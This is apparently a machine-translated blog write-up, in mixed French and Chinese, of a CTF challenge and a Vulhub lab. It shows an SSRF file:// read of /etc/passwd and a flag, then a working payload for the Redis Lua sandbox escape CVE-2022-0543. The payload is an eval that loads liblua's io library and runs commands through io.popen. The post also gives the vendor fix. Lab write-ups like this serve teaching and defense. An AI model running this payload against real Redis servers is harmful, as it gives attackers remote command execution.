Royaume cloud du printemps et de l'automne : CVE-2022-0543 (vulnérabilité d'échappement du bac à sable Redis)

Table des matières

1. i Questions sur le printemps et l'automne

2. CVE-2022-0543 : (évasion du bac à sable Redis)

Présentation de la vulnérabilité :

Récurrence de la vulnérabilité :


1. i Questions sur le printemps et l'automne

Introduction cible :

Redis présente une vulnérabilité d'injection de code qui permet à un attaquant d'exécuter du code à distance.

Entrez le sujet :

 Vulnérabilité SSRF :

Essayez d'ajouter le site Web indiqué dans la question :

 Vous pouvez accéder à la page Baidu :

 Lire les fichiers système : IP/?url=file:///etc/passwd 

Obtenir le drapeau /?url=file:///flag

 drapeau{e30bd2d5-b4e8-4635-858f-5aac6604cd9c}

2. CVE-2022-0543 : (évasion du bac à sable Redis)

Présentation de la vulnérabilité :

        Redis Labs Redis est une base de données de stockage open source de type journal, clé-valeur (Key-Value) écrite en ANSI  C, prise en charge par le réseau, basée sur la mémoire et persistante, et fournit des API dans plusieurs langues de l'américain Société Redis Labs.

Redis présente une vulnérabilité d'injection de code qui permet à un attaquant d'exécuter du code à distance.

Récurrence de la vulnérabilité :

Cibler le drone
à l'aide du champ de tir Vulhub : 

使用vulhub靶场

安装完成后我们进入到对应目录:

cd vulhub/redis/CVE-2022-0543/

然后执行命令,进行靶场编译和运行

docker-compose build
docker-compose up -d
运行完docker-compose后,打开我们的redis就是我们的漏洞环境了

Installez d'abord redis-cli :

kali安装redis-cli:

apt-get update && apt-get upgrade  (更新源)

apt install redis-tools

 redis-cli:

redis-cli -h 192.168.184.177//有漏洞IP

Cause :

        La vulnérabilité existe car la bibliothèque Lua dans Debian/Ubuntu est fournie en tant que bibliothèque dynamique. packageUne variable est automatiquement renseignée , ce qui permet à son tour d'accéder à n'importe quelle fonctionnalité Lua.

        Nous utilisons la fonction loadlib du package de variables laissé dans le bac à sable Lua pour charger la fonction exportée luaopen_io dans la bibliothèque de liens dynamiques /usr/lib/x86_64-linux-gnu/liblua5.1.so.0. Exécutez cette fonction d'exportation dans Lua pour obtenir la bibliothèque io, puis utilisez-la pour exécuter la commande :

local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io");

local io = io_l();

local f = io.popen("id", "r");

local res = f:read("*a");

f:close();

return res


Charge utile : (l'ID de la commande d'exécution peut être modifié)

eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0

 commande d'identifiant :

 whoami pwd ls  

 À ce stade, nous pouvons exécuter la commande.

Correctif formel : ajoutez package=nil à la fin de l'initialisation de Lua  .

Correctif temporaire : arrêter le service

Je suppose que tu aimes

Origine blog.csdn.net/m0_65712192/article/details/132407631
conseillé
Classement